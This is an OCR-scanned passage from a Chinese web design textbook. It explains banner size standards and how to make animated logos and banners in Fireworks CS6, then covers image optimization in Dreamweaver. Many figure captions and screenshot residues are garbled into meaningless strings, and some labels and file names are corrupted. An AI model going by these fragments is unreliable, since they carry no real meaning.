现在 并 没有 统一 标准 的 Logo 制作 软件 。Logo 作为 一 种 图 片 或 是 动画 GIF 图 片 ， 凡 是 可 以 设计 图 
片 的 软件 都 可 以 用 来 制作 Logo。 人 们 一 般 使 用 Photoshop 或 Fireworks 设计 网 站 的 Logo。 

制作 Logo 的 步骤 就 是 设计 一 张 符合 Logo 大 小 的 图 片 ， 在 图 片上 进行 相关 的 创意 与 设计 。 如 果 需 
要 制作 成 动画 的 Logo， 可 以 使 用 Fireworks 进行 多 状态 图 片 设计 ， 分 别 设计 出 动画 中 的 每 一 状态 ， 最 
后 导出 为 GIF 动画 的 格式 。 

Logo 设计 要 求 使 用 的 颜色 与 网 站 的 颜色 合理 搭配 ， 内 容 可 以 合理 地 体现 出 网 站 的 内 容 ， 在 Logo 
标志 使 用 的 形象 中 可 以 使 用 一 些小 物品 代表 网 站 的 内 容 。 


10.3.3 Banner 的 制作 标准 


Banner 是 网 络 广告 的 主要 形式 ， 可 以 是 GIF 格式 图 片 、JPG 图 片 或 者 是 Flash 动画 。 可 以 是 静态 
图 像 ， 也 可 以 是 动画 。 

为 了 便于 推广 和 传播 ， 网 站 的 Logo 在 大 小 上 也 需要 有 一 个 统一 的 标准 , “国际 广告 局 标准 和 管理 
委员 会 ”推出 了 一 系列 网 络 广告 的 标准 大 小 ， 现 在 网 站 上 的 广告 一 般 都 遵循 这 些 大 小 标准 ， 在 进行 网 
站 广告 设计 时 应 当 尽量 使 用 这 些 标准 大 小 。 但 在 具体 的 设计 中 ， 也 可 根据 实际 的 需要 设置 合适 的 广告 
大 小 。 下 面 是 “国际 广告 局 标准 和 管理 委员 会 ”2001 年 公布 的 第 二 次 网 络 广告 大 小 标准 。 
120X600:“ 摩 天 大 楼 ” 形 。 
160X600: 宽 “ 摩 天 大 楼 ” 形 。 
180X150: 长 方形 。 
300X250: 中 级 长 方形 。 
336X280: 大 长 方形 。 
240X400: 竖 长 方形 。 
250X250:“ 正 方形 弹出 式 ” 广 告 。 

同 Logo 的 设计 一 样 ，Banner 也 是 使 用 图 片 设计 软件 进行 设计 。 如 果 是 设计 动画 的 Banner， 可 以 
使 用 Flash 设计 成 动画 广告 。 

Banner 常常 是 一 个 广告 ， 指 向 另外 一 个 网 页 。 在 设计 时 ， 需 要 对 那个 网 页 进行 一 定 的 了 解 ，Banner 
需要 与 广告 的 内 容 有 一 定 的 联系 ， 可 以 大 致 体现 出 这 个 网 页 的 内 容 。Banner 上 可 以 用 文字 或 图 片 表现 
内 容 ， 文 字 的 内 容 不 可 以 太 多 ， 需 要 一 句 话 表现 出 内 容 ， 文 字 要 使 用 深 色 粗壮 的 字体 ， 否 则 在 视觉 上 
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很 容易 被 其 他 内 容 遮 盖 。 在 配色 上 ， 不 要 使 用 过 于 复杂 的 颜色 ， 要 考虑 到 所 有 计算 机 可 以 正常 显示 
Banner 的 内 容 不 会 产生 颜色 失真 的 情况 。 
Banner 最 好 使 用 深 色 边框 ， 这 样 在 背景 色 与 Banner 的 底 色相 差 不 大 时 ， 效 果 会 更 加 明显 。 


10.4 精美 Logo 和 Banner 赏析 


Logo 和 Banner 都 是 版 面 很 小 的 设计 , 但 是 在 小 巧 的 设计 中 可 以 体现 出 高 超 的 设计 理念 和 创意 。 网 
络 上 有 很 多 经 典 的 Logo 和 Banner， 这 些 设计 在 方寸 之 间 设 计 出 经 典 的 作品 。 


著名 网 站 Logo 分 析 


一 个 设计 出 色 的 Logo 对 网 站 品牌 形象 的 树立 有 重要 的 作用 。 如 图 10-6 所 示 为 国外 一 些 非 常 经 典 
的 Logo 设计 。 


10.4.1 


PRACTICE 本 
WISE EO 


(a) (b) 


Gmm GM 


(c) (d) 
QUA K 
BATTERY SUPPLY 2 


KIXS GUEST 


WN AONE COU 
(e) (f) 
图 10-6 国外 经 典 Logo 赏析 


一 个 Logo 需要 有 独特 的 创意 与 设计 。 在 Logo 中 ， 常 常 需要 一 个 有 创意 的 标志 并 有 一 些 简单 的 文 
字 。 图 10-6 中 的 Logo 都 很 好 地 用 标志 和 文字 表现 了 Logo 的 设计 理念 。 
在 图 10-6 (a) 中 ， 使 用 了 一 个 非常 简单 而 有 创意 的 图 形 标 志 ， 并 在 右边 巧妙 地 搭配 品牌 名 称 
的 文字 ， 使 整个 设计 简单 形象 。 
在 图 10-6 (b) 中 ,使 用 了 深 色 的 背景 ， 即 一 个 较 大 的 购物 袋 图 像 ， 非 常 形象 地 体现 了 购物 类 
网 站 的 功能 。 设 计 中 在 深 色 背 景 上 嵌入 网 站 名 称 的 文件 ， 使 整个 Logo 设计 有 机 融 为 一 体 。 
在 图 10-6 (c) 中 ， 只 使 用 了 一 行 个 性 化 的 文字 ， 简 洁 明了 ， 很 容易 给 人 形成 深刻 的 记忆 。 
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 ， 使 用 一 个 企业 标志 和 企业 名 称 的 文本 ， 并 以 合 到 


的 颜色 搭配 在 


E 一 起 构成 一 


第 10 章 制作 网 站 的 Logo 和 Ga 


个 Logo。 这 个 Logo 的 内 容 具体 并 且 丰 富 。 
回 在 图 10-6 (e) 中， 以 一 个 很 有 创意 的 图 案 构 成 一 个 Logo。 图 案 使 用 了 红色 和 蓝 色 两 种 对 比 
强烈 的 颜色 ,使 Logo 具有 很 好 的 颜色 层次 感 ，Logo 的 右 下 角 以 较 浅 的 颜色 显示 网 站 的 域名 。 
回 在 图 10-6 (ff 中 ， 以 字母 图 案 和 企业 品牌 名 称 作 为 Logo 的 主要 内 容 ， 图 案 中 黑色 和 绿色 的 
搭配 非常 新 颖 。 
这 些 Logo 既 可 以 是 网 站 的 标志 ， 也 可 以 是 企业 品牌 或 企业 VI 标志 。 作 为 企业 Logo 的 标志 ， 会 
在 各 种 场合 下 使 用 ， 可 以 成 为 一 个 网 站 或 品牌 的 标志 。 


10.4.2 Banner 欣赏 
Banner 常常 在 网 站 中 的 重要 位 置 以 最 吸引 人 眼球 的 手段 显示 网 站 最 重要 的 内 容 ， 是 网 站 的 “眼球 


经 济 ”体现 方式 。Banner 作为 一 种 网 络 广告 设计 的 形式 ， 要 求 有 着 独特 的 广告 创意 和 精巧 的 设计 。 如 
图 10-7 所 示 是 国外 网 站 上 的 一 些 比较 出 色 的 Banner 设计 作品 。 
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图 10-7 网 站 Banner 作品 欣赏 


在 这 些 Banner 作品 中 ， 都 是 以 图 片 与 文字 的 方法 体现 出 Banner 广告 的 特色 与 内 容 。 

在 图 10-7 (a) 中 ， 以 文字 与 图 片 的 布局 表现 产品 的 内 容 ， 是 数码 类 产品 广告 的 一 种 很 好 形式 。 
图 10-7 (b) 中， 用 鲜明 的 颜色 对 比 ， 醒 目地 体现 出 文字 的 内 容 ， 再 用 一 个 婴儿 的 形象 体现 出 产品 的 内 
容 ， 十 分 富有 创意 。 图 10-7 (ce) 中 ， 用 人 物 的 形式 体现 时 尚 产品 。 

同 Logo 的 设计 一 样 ，Banner 的 设计 同样 需要 在 颜色 搭配 、 内 容 设计 、 布 局 样式 等 方面 进行 考虑 与 
设计 。Banner 的 设计 要 求 在 一 个 广告 上 体现 出 需要 宣传 的 内 容 ， 用 户 在 看 到 这 个 设计 时 可 以 接受 设计 
的 内 容 并 单 击 这 个 Banner 的 链接 。 


10.5 实例 : 制作 网 站 Logo 


Fireworks 是 专门 针对 网 站 的 平面 设计 软件 ， 在 进行 网 站 类 图 像 设计 时 功能 强大 、 使 用 便捷 ， 使 用 
Fireworks 制作 网 站 的 Logo 是 一 个 很 好 的 选择 。 例 如 ， 用 Fireworks 为 Apple 手机 设计 一 个 Logo。 

(1) 在 Fireworks 上 新 建 一 张 图 片 。 选 择 “ 文 件 ”| “新建 ”命令 ， 在 打开 的 “新 建文 档 ” 对 话 
框 中 设置 图 片 的 大 小 。 根 据 一 般 Logo 的 大 小 ， 在 “宽度 ”文本 框 中 输入 “120”， 在 “高 度 ” 文 本 框 
中 输入 “60”。 使 用 默认 分 辨 率 为 72 像素 /英寸 ， 背 景 使 用 白色 ， 如 图 10-8 所 示 。 单 击 “ 确 定 ” 按 钮 ， 
完成 图 片 的 新 建 。 

(2) 新 建 图 片 以 后 的 Fireworks CS6 的 工作 界面 如 图 10-9 所 示 。 
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图 10-8 在 Fireworks CS6 中 新 建 一 个 Logo 图 片 图 10-9 Fireworks CS6 中 新 建 的 图 片 


(3) 在 工具 栏 中 单 击 “ 和 矩形 工具 ”， 在 图 片上 拖 动 绘制 一 个 和 矩形， 绘制 出 矩形 的 大 小 应 与 图 片 的 
大 小 相同 。 选 择 这 个 矩形 ， 在 工具 栏 中 选择 矩形 的 颜色 ,设置 没有 背景 颜色 、 红 色 边 框 ， 边 框 宽度 为 1 
像素 。 这 样 设计 的 Logo 有 一 个 明显 的 边框 ， 不 至 于 图 片 和 背景 没有 边界 ， 如 图 10-10 所 示 。 

(4) 在 图 片 中 导入 一 张 手机 图 片 。 选 择 “ 文 件 ”|“ 导 入” 命令， 在 打开 的 “导入 ”对 话 框 中 浏 
览 选择 一 张 手机 图 片 。 然 后 单 击 “ 打 开 ” 按 钮 ， 完 成 图 片 的 导入 。 

(5) 选择 导入 的 手机 图 片 。 拖 动 图 片 的 操作 点 ， 设 置 图 片 的 大 小 ， 使 手机 的 高 度 与 图 片 的 高 度 相 
同 ， 如 图 10-11 所 示 。 
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图 10-10 ”设置 矩形 图 10-11 设置 手机 图 片 的 大 小 


(6) 在 工具 栏 中 单 击 “ 橡 皮 探 工具 ” 圆 ， 探 除 图 片 中 不 需要 的 内 容 ， 使 插入 的 图 片 只 保留 手机 的 
部 分 ， 如 图 10-12 所 示 。 
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(7) 在 Fireworks CS6 的 工具 栏 中 单 击 “ 文 本 工具 ”到 ， 再 在 图 片 中 需要 插入 文本 的 位 置 单 击 ， 
然后 输入 手机 的 品牌 ， 如 图 10-13 所 示 。 


CE | lzox6 [100% 。 
图 10-12 图片 效果 图 10-13 在 图 片 中 输入 文本 
(8) 选择 所 输入 的 文本 ,再 在 文本 的 “属性 ”面板 中 设置 文本 的 属性 ,然后 设置 文本 无 前 景 颜色 、 
红色 边框 。 文 本 的 效果 如 图 10-14 所 示 。 
(9) 用 同样 的 方法 输入 另外 一 个 文本 ， 设 置 文本 的 效果 。 文 本 的 排列 与 效果 如 图 10-15 所 示 。 


Om | lxe [100% -| L 
图 10-14 设置 文本 的 效果 图 10-15 Logo 中 的 文本 

(10) 选择 “窗口 ”| “ 层 ” 命 令 ， 显 示 Fireworks CS6 的 “图 层 ” 面 板 ， 如 图 10-16 所 示 。 

(11) 单 击 “ 图 层 ” 面 板 中 的 “新 建屋” 按钮 到 ， 新 建 一 个 图 层 。 在 “图 层 ”面板 中 的 新 建 图 层 
如 图 10-17 所 示 。 
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| EE 
图 10-16 ”Fireworks CS6 中 的 “图 层 ” 面 板 图 10-17 在 Fireworks CS6 中 新 建 的 图 层 


(12) 在 “图 层 ” 面 板 中 ， 单 击 Apple 文本 这 个 图 层 并 向 上 拖 动 ， 把 Apple 文本 放置 于 上 面 新 建 
的 图 层 中 ， 将 其 他 图 层 放 置 在 下 面 一 个 图 层 中 作为 背景 ， 如 图 10-18 所 示 。 
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(13) 右 击 层 1， 在 弹出 的 快捷 菜单 中 选择 “在 状态 中 共享 层 ” 命 令 ， 使 这 一 层 的 内 容 在 所 有 的 状 
态 中 共享 ， 如 图 10-19 所 示 。 
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re 各 回回 区 BERW) 
10-18 Logo 设置 图 层 与 图 层 文 件 夹 10-19 在 Fireworks 中 设置 状态 共享 层 
(14) 选择 “窗口 ” |“ 状态” 命令， 打开 Fireworks CS6 的 “状态 ”面板 ， 如 图 10-20 所 示 。 


(15) 单 击 “ 状 态 ” 面 板 中 的 “新 建 状态 ”按钮 到 ， 在 图 片 中 新 建 一 个 状态 。 然 后 选择 状态 ， 如 
图 10-21 所 示 。 


了 
日 01 状态 1 了 [e] 
也 包 永久 让 加 守 授 包 永久 器 避 3 
图 10-20 ”Fireworks CS6 中 的 “状态 ”面板 图 10-21 新 建 状态 


(16) 在 状态 2 的 设计 视图 中 ， 已 经 含有 背景 层 ， 不 同 的 是 没有 Apple 文本 ， 如 图 10-22 所 示 。 
(17) 在 “状态 ”面板 中 ， 右 击 状态 1， 在 弹出 的 快捷 菜单 中 选择 “属性 ”命令 ， 在 弹出 对 话 框 的 
“状态 延迟 ”文本 框 中 输入 “100”。 设 置 状 态 延 时 间 为 100/100 秒 ， 使 这 一 状态 的 持续 时 间 为 1 秒 。 
用 同样 方法 设置 第 二 状态 的 持续 时 间 为 1 秒 ， 如 图 10-23 所 示 。 
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图 10-22 新 建 一 个 状态 10-23 ”设置 状态 和 状态 的 延续 时 间 


(18) 单 击 工作 区 下 面 的 “播放 ”按钮 呈 ， 预 览 设 计 效 果 。 在 这 个 Logo 中 ， 因 为 第 二 状态 没有 
Apple 文本 ，Apple 文本 会 出 现 间隔 1 秒 的 闪烁 效果 ， 如 图 10-24 和 图 10-25 所 示 。 
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10-24 ”完成 的 Logo 播放 效果 (一 ) 10-25 ”完成 的 Logo 播放 效果 (二) 


(19) 选择 “优化 ”面板 。 在 “导出 文件 格式 ”下 拉 菜 单 中 选择 GIF 选项 ， 对 图 片 的 颜色 与 失真 
等 参数 进行 设置 ， 如 图 10-26 所 示 。 


图 10-26 Logo 图 片 的 导出 优化 
(20) 选择 “文件 ”| “导出 ”命令 ， 导 出 设计 的 Logo。 选 择 一 个 文件 夹 ， 在 “文件 名 ”文本 框 


中 输入 需要 保存 的 文件 名 。 然 后 单 击 “ 保 存 ” 按 钮 ， 即 可 完成 Logo 的 导出 。 
(21) 打开 Logo 导出 的 文件 夹 ， 找 到 导出 的 文件 ， 双 击 可 以 浏览 这 个 Logo 图 片 。 


10.6 实例 : 制作 有 动画 效果 的 Banner 


Banner 广告 条 可 以 制作 成 GIF 动画 。GIF 动画 可 以 有 醒目 的 颜色 和 效果 ， 在 网 页 中 可 以 吸引 用 户 
的 注意 和 访问 。 使 用 Fireworks CS6 可 以 制作 出 各 种 Banner 动画 。 
(1) 在 Fireworks 上 新 建 一 张 图 片 。 选 择 “ 文 件 ”| “新 建 ” 命 令 ， 在 打开 的 “新 建文 档 ” 对 话 
框 中 设置 图 片 的 大 小 。 根 据 一 般 Banner 的 大 小 ， 在 “宽度 ”文本 框 中 输入 “600”， 在 “高 度 ” 文 本 
框 中 输入 “120”， 使 用 默认 分 辩 率 为 72 像素 /英寸 ， 背 景 使 用 白色 ， 如 图 10-27 所 示 。 单 击 “ 确 定 ” 
按钮 ， 完 成 图 片 的 新 建 。 
(2) 新 建 Banner 图 片 以 后 的 Fireworks CS6 工作 界面 如 图 10-28 所 示 。 
(3) 规划 GIF 动画 的 状态 。 动 画图 片 是 由 多 张 单独 图 片 构成 的 ， 在 设置 动画 图 片 之 前 ， 需 要 规划 
出 动画 一 共有 多 少 状态 ， 每 一 状态 的 内 容 是 什么 。 例 如 ， 本 例 设 计 的 动画 是 一 个 招聘 求职 的 宣传 广告 ， 
可 以 设计 出 以 下 状态 。 
回 ”状态 1: 显示 一 张 写 字 楼 的 图 片 ， 用 于 表现 工作 的 性 质 。 
回 ”状态 2: 显示 一 张 工作 环境 的 图 片 ， 用 于 表现 广告 的 主题 。 
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图 10-27 在 Fireworks CS6 中 新 建 一 个 Banner 图 片 


: 显示 文字 “www.027zp.com” 和 “武汉 招聘 网 ” 显示 广告 的 名 称 。 
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图 10-28 ”Fireworks CS6 工作 界面 


(4) 选择 “文件 ”| “导入 ”命令 ， 在 第 一 状态 中 导入 一 张 高 楼 图 片 。 选 择 这 一 张 图 片 ， 拖 动 图 


片 并 调整 图 片 的 位 置 ， 如 图 10-29 所 示 。 
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图 10-29 在 Banner 广告 的 第 一 状态 导入 一 张 图 片 


(5) 选择 “窗口 ”| “状态 ”命令 ， 打 开 Fireworks CS6 的 “状态 ”面板 。 
(6) 单 击 “ 状 态 ” 面 板 中 的 “新 建 状态 ”按钮 到， 在 图 片 中 新 建 一 个 状态 。 按 照 步 又 (3) 中 的 


规划 ， 再 新 建 3 个 状态 ， 如 图 10-30 所 示 。 


(7) 在 “状态 ”面板 中 单 击 “ 状 态 2”， 


然后 在 设计 视图 中 的 操作 都 是 这 一 个 状态 下 面 


H 


的 。 


(8) 选择 “文件 ”|“ 导 入” 命令， 在 第 二 状态 中 导入 一 张 工作 图 片 。 选 择 这 一 张 图 片 ， 拖 动 调 


整 图 片 的 位 置 ， 如 图 10-31 所 示 。 
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图 10-30 图 片 中 新 建 的 状态 图 10-31 在 第 二 状态 中 插入 图 片 


(9) 在 “状态 ”面板 中 单 击 “ 状 态 3”， 选 择 第 3 状态 进行 操作 。 

(10) 在 工具 栏 中 单 击 “ 文 本 工具 ”到 ， 再 在 图 片 中 需要 插入 文本 的 位 置 单 击 ， 然 后 输入 需要 插 
入 的 文本 。 用 同样 的 方法 ， 输 入 另外 一 个 文本 。 

(11) 选择 第 一 个 文本 ， 在 “属性 ”面板 中 设置 文本 的 字体 与 颜色 。 用 同样 的 方法 设置 第 二 个 文 
本 的 字体 与 颜色 。 如 图 10-32 所 示 是 第 3 状态 的 内 容 。 
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图 10-32 第 3 状态 的 文本 


(12) 在 “状态 ”面板 中 单 击 “ 状 态 4”， 选 择 第 4 状态 进行 操作 。 

(13) 在 工具 栏 中 单 击 “ 文 本 工具 ”到 ， 再 在 图 片 中 需要 插入 文本 的 位 置 单 击 ， 然 后 输入 需要 插 
入 的 广告 名 称 。 用 同样 的 方法 ， 输 入 另外 一 个 文本 ， 在 文本 中 输入 一 个 网 站 的 域名 。 

(14) 选择 第 一 个 文本 ， 在 “属性 ”面板 中 设置 文本 的 字体 与 颜色 。 用 同样 的 方法 设置 第 二 个 文 
本 的 字体 与 颜色 。 如 图 10-33 所 示 是 第 4 状态 的 内 容 。 
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10-33 第 4 状态 的 文本 


(15) 在 “状态 ”面板 中 右 击 第 一 状态 ， 在 弹出 的 快捷 菜单 中 选择 “属性 ”命令 ， 弹 出 一 个 对 话 
框 ， 在 “状态 延迟 ”文本 框 中 输入 “120”， 设 置 状态 延 时 为 120/100 秒 ， 使 这 一 状态 的 持续 时 间 为 1.2 
秒 。 用 同样 方法 设置 第 二 状态 的 持续 时 间 为 1.5 秒 ， 第 3 状态 的 持续 时 间 为 0.8 秒 ， 第 4 状态 的 持续 时 
间 为 1.6 秒 ， 如 图 10-34 所 示 。 

(16) 选择 “优化 ”面板 。 在 “导出 文件 格式 ”下 拉 列 表 框 中 选择 GIF 选项 ， 对 图 片 的 颜色 与 失 
真 等 参数 进行 设置 ， 如 图 10-35 所 示 。 
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图 10-34 设置 每 一 状态 的 延 时 时 间 图 10-35 Banner 图 片 的 导出 优化 


(17) 选择 “文件 ”| “导出 ”命令 ， 导 出 设计 的 Banner 图 片 。 选 择 一 个 文件 夹 ， 在 “文件 名 ” 
文本 框 中 输入 需要 保存 的 文件 名 “Banner”。 单 击 “ 保 存 ” 按 钮 ， 即 可 完成 Banner 广告 图 片 的 导出 。 

(18) 打开 Banner 导出 的 文件 夹 ， 找 到 导出 的 文件 ， 双 击 可 以 浏览 这 个 Banner 广告 图 片 。GIF 动 
画 广告 图 片 是 GIF 图 片 文件 ， 可 以 作为 普通 图 片 插 入 到 网 页 中 。GIF 图 片 具 有 很 好 的 视觉 效果 ， 在 网 
页 中 有 很 好 的 表现 力 。 


10.7 小 结 


每 个 网 站 都 需要 设计 和 制作 Logo 和 Banner。 作 为 一 个 网 站 的 形象 标志 ，Logo 和 Banner 需要 进行 
精心 的 设计 与 制作 。 

Logo 和 Banner 的 版 面 简 小 , 但 是 体现 着 重要 的 内 容 , 在 设计 中 需要 在 小 巧 的 设计 中 体现 出 独特 的 
创意 和 细节 的 构思 。 一 个 独特 的 Logo 与 Banner 可 以 体现 出 网 站 与 众 不 同 的 内 容 与 构思 。 
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图 片 是 网 页 的 重要 内 容 之 一 。 在 用 Dreamweaver 进行 网 页 排版 设计 有 时， 需要 对 网 页 
中 的 图 片 进行 编辑 和 效果 处 理 。 这 时 ， 可 以 使 用 图 片 设计 软件 ， 或 者 Dreamweaver 的 图 
片 设置 功能 来 实现 。 

Dreamweaver 的 图 片 设 置 功 能 可 以 完成 对 图 片 的 优化 、 图 片 格式 的 设置 、 图 片 的 亮度 
与 对 比 度 的 设置 、 图 片 锐 化 等 操作 。 
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11.1 优化 页 面 及 图 片 


在 用 浏览 器 打开 网 页 时 ， 浏 览 器 会 从 服务 器 上 下 载 这 个 网 页 和 网 页 上 的 多 媒体 内 容 。 如 果 网 页 上 
的 图 片 文件 很 大 ， 这 时 因为 网 络 速度 的 原因 ， 网 页 的 打开 速度 就 会 很 慢 ， 因 此 需要 用 软件 把 网 页 上 的 
图 片 进 行 优 化 。 
网 页 上 的 图 片 ， 一 般 要 求 有 很 好 的 视觉 效果 ， 但 是 对 于 一 般 的 图 片 ， 在 颜色 单一 的 情况 下 ， 可 以 
对 图 片 的 格式 进行 优化 和 压缩 。 网 页 上 的 图 片 一 般 是 GIF 格式 或 JPG 格式 。 在 网 页 设计 时 ， 需 要 根据 
图 片 的 类 型 和 实际 需要 合理 地 选择 这 两 种 图 片 格式 。 
回 GIF 是 网 络 上 使 用 最 早 、 应 用 最 为 广泛 的 图 像 格 式 。GIF 的 主要 原理 是 减少 图 像 中 每 点 颜色 的 
存储 位 数 来 实现 对 图 像 文件 的 压缩 ， 也 可 以 理解 为 ，GIF 减少 了 图 片 色 板 中 颜色 的 数量 ， 从 
而 在 存储 时 减 小 了 文件 的 大 小 。GIF 减少 了 图 像 的 颜色 ， 在 图 像 显示 时 可 能 不 能 完全 还 原 以 
前 的 色彩 ， 但 是 由 于 其 极 大 地 压缩 了 图 片 ， 有 利于 网 络 传输 ， 所 以 在 网 络 上 有 着 广泛 的 应 用 。 
GIF 支持 透明 背景 和 动画 效果 ， 这 就 可 以 更 加 丰富 网 页 的 媒体 效果 。 
回 了 JPG 是 一 种 在 网 络 上 被 广泛 支持 的 图 片 格式 。JPG 可 以 支持 24 位 真 彩色 ， 可 以 很 好 地 还 原 图 
片 的 色彩 。 图 像 处 理 软件 可 以 把 JPG 图 片 进行 不 同 程度 的 压缩 和 存储 。 


11.2 Fireworks 与 Dreamweaver 的 关联 操作 


Fireworks 和 Dreamweaver 都 是 专业 的 网 页 设计 软件 。 在 网 页 设计 时 , 两 种 软件 常常 是 关联 操作 的 ， 
互相 配合 完成 不 同 的 功能 。 
回 ”Fireworks 是 图 片 设计 软件 ， 集 成 了 很 多 切片 链接 、 热 点 链接 等 功能 ， 可 以 方便 地 在 图 片 中 插 
入 链接 并 方便 地 导出 为 网 页 。 
回 ”Dreamweaver 是 网 页 设计 软件 ， 也 集成 了 许多 图 片 处 理 的 工具 和 操作 ， 可 以 方便 地 对 网 页 中 
的 图 片 进行 优化 和 处 理 。 
在 网 页 设计 时 ， 需 要 灵活 地 使 用 Fireworks 和 Dreamweaver 的 强大 功能 。 在 图 片 设计 时 充分 优化 和 
排版 网 页 ， 在 网 页 设计 时 对 图 片 进行 有 效 的 处 理 与 设置 。 


11.3 优化 页 面 图 像 


在 用 Dreamweaver 进行 网 页 设计 时 ， 可 以 利用 Dreamweaver 的 图 像 处 理 功能 ， 灵 活 地 对 图 像 进行 
处 理 与 优化 。Dreamweaver 可 以 实现 图 片 的 裁剪 、 优 化 、 图 片 效果 设 置 等 功能 。 
11.3.1 关联 至 图 像 软件 


在 操作 Dreamweaver 中 的 图 片 时 ， 有 时 需要 对 网 页 中 的 图 片 进行 编辑 ，Dreamweaver 在 图 片 属性 
中 提供 了 关联 到 外 部 图 像 软件 的 功能 。Dreamweaver 可 以 设置 一 个 图 像 编 辑 软件 ， 在 设计 视图 中 ， 选 
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择 一 张 图 片 以 后 ， 可 以 单 击 “ 属 性 ”面板 中 的 “图 像 编 辑 ” 工具， 启动 图 像 编辑 软件 对 图 像 进 行 编辑 。 
(1) 在 Dreamweaver 中 选择 “编辑 ”| “首选 参数 ”命令 ， 弹 出 “首选 参数 ”对 话 框 ， 在 “分 类 ” 
列表 中 选择 “文件 类 型 /编辑 器 ”选项 ， 如 图 11-1 所 示 。 


文件 类 型 / 编辑 器 
在 代码 视图 中 打开 加 ): -5 ,ass .css .es confiE .ii 


上 
运行 时 先 保存 文件 名) 
TirererisD: EUES RING RN CS 


11-1 在 Dreamweaver 中 设置 Fireworks 的 安装 路 径 


(2) 单 击 Fireworks 文本 框 后 面 的 “浏览 ”按钮 ， 在 “选择 外 部 编辑 器 ”对 话 框 中 选择 Fireworks 
CS6 所 在 的 路 径 。Fireworks CS6 一 般 安装 在 C:\Program files\Adobe\Adobe Fireworks CS6 目录 下 面 , 单 
击 “ 确 定 ” 按 钮 ， 完 成 设置 。 

(3) 也 可 对 不 同 格式 的 文件 设置 不 同 的 外 部 编辑 器 。 单 击 “ 扩 展 名 ”列表 中 的 一 种 扩展 名 ， 然 后 
在 “编辑 器 ”列表 中 添加 一 个 外 部 编辑 器 。 

(4) 单 击 “ 确 定 ” 按 钮 ， 完 成 编辑 器 的 设置 。 


11.3.2 ”图 片 的 优化 处 理 


在 Dreamweaver 中 设置 了 Fireworks 的 路 径 以 后 ， 即 可 在 Dreamweaver 中 对 图 片 进行 优化 和 处 理 。 
这 些 操作 可 以 使 用 Fireworks CS6 完成 ， 但 是 在 Dreamweaver CS6 中 的 操作 会 更 方便 。 具 体操 作 步 又 
如 下 : 

(1) 在 计算 机 中 的 “E:\” 盘 下 新 建 一 个 文件 夹 eg11。 

(2) 打开 本 书 光盘 ， 将 “\ 源 文件 \11\ 图 片 ”中 的 3 个 图 片 文件 复制 到 步骤 (1) 新建 的 文件 夹 中。 

(3) 打开 Dreamweaver CS6， 选 择 “文件 ”| “新建” 命令 ， 新 建 一 个 HTML 网 页 文件 。 

(4) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 至 “FE:\eg11\” 文 件 下 ,文件 名 为 egl.html。 

(5) 选择 “插入 ”|“ 图 像 ”命令 ， 在 打开 的 “选择 图 像 源 文件 ”对 话 框 中 ， 选 择 插入 从 光盘 中 
复制 的 图 片 al.jpg。 

(6) 选择 “文件 ”| “保存 ”命令 ， 保 存 文 件 。 按 F12 键 运行 预览 网 页 ， 网 页 中 图 片 的 效果 如 
图 11-2 所 示 。 

(7) 对 图 片 的 优化 和 设置 可 能 会 更 改 该 图 片 文 件 ， 为 了 便于 对 比 操作 ， 需 要 复制 所 插入 的 图 片 文 
件 。 打 开 文件 夹 “E:\eg11”， 将 文件 al.jpg 复制 为 al_ 1.jpg、al 2.jpg、al 3.jpg、al 4.jpg、al_5.jpg、 
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al _6.jpg。 


11-2 ”网 页 中 的 图 片 


(8) 单 击 插入 的 图 片 。 如 图 11-3 所 示 为 图 片 的 “属性 ”面板 。 单 击 “ 属 性 ”面板 上 的 “优化 ” 
按钮 蝇 ， 对 图 片 进行 优化 。 


属性 


图 各 ,33K 。 帘 吕 400 | 源 文件 E) 图 片 /al. Tc 全 口 普 搞 中 ~ 类 o 无 - 
om 高 00 264 机 挤 员 9D 吉 | 国 中 洒 
地 图 人 D | 看 直 边 距 目标 @) ~ wo) NH%04A 
[NJ DOVY wpiweo) 原 抬 仿 品 蚤 内 [回填 加 


图 11-3 Dreamweaver“ 属 性 ”面板 中 的 图 像 工具 
(9) 如 图 11-4 所 示 为 图 片 的 优化 对 话 框 。 网 页 中 常用 的 图 片 格式 是 JPG 格式 或 GIF 格式 。 在 “ 格 


式 ” 下 拉 列 表 框 中 选择 JPEG 选项 ， 然 后 在 “品质 ”文本 框 中 输入 “29”，“ 品 质 ” 文 本 框 是 对 图 片 
质量 的 设置 。 


11-4 图 片 的 优化 对 话 框 
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(10) 在 优化 对 话 框 中 ， 可 以 多 窗口 对 比 显示 。 单 击 “ 四 个 窗口 预览 ”按钮 到 ， 将 显示 4 个 窗口 
对 比 各 种 优化 的 效果 ， 如 图 11-5 所 示 。 


11-5 多 窗口 预览 窗口 


(11) 单 击 “ 确 定 ”按钮 完成 设置 ， 选 择 “ 文 件 ”| “保存 ”命令 保存 文件 。 
(12) 按 F12 键 运 行 网 页 ， 网 页 的 效果 如 图 11-6 所 示 。 可 以 发 现 ，JPG 图 片 在 降低 质量 以 后 ， 图 


片 有 明显 的 失真 。 


11-6 网 页 优化 以 后 的 效果 


(13) 图 片 在 降低 质量 以 后 产生 了 失真 ， 但 同时 也 使 文件 得 到 压缩 。 打 开 文件 夹 “E:\eg11” 查 看 ， 
可 以 发 现 , 原 al_1.jpg 文件 大 小 为 33KB, 而 优化 以 后 的 图 片 aljpg 的 大 小 为 4KB。 在 对 图 片 质量 要 求 


-于 


不 高 的 网 页 中 ， 可 以 压缩 图 片 的 大 小 ， 以 取得 更 好 的 网 页 显示 速度 。 

(14) 在 Dreamweaver CS6 设计 视图 中 的 图 片 后 面 单 击 ， 选 择 “ 插 入 ”| “图 像 ” 命 令 ， 在 弹出 
的 “选择 图 像 源 文件 ”对 话 框 中 选择 文件 al_2.jpg， 单 击 “ 确 定 ”按钮 ， 插 入 图 片 。 

(15) 选择 插入 的 图 片 ， 再 单 击 “ 属 性 ”面板 上 的 “优化 ”按钮 图， 对 图 片 进行 优化 ， 如 图 11-7 
所 示 。 在 “格式 ”下 拉 列 表 框 中 选择 GIF 选项 ， 在 “失真 ”后 面 的 下 拉 列 表 框 中 选择 64。 
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11-7 网 页 优化 设置 
(16) 单 击 “ 确 定 ”按钮 完成 设置 ， 选 择 “ 文 件 ”| “保存 ”命令 保存 文件 。 


(17) 按 F12 键 运行 网 页 ， 网 页 的 效果 如 图 11-8 所 示 。 可 以 发 现 ， 图 片 优化 成 GIF 格式 以 后 ， 图 
片 的 颜色 有 了 明显 的 失真 。 


11-8 网 页 优化 成 GIF 格式 以 后 的 效果 
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11.3.3 图 片 大 小 的 调整 


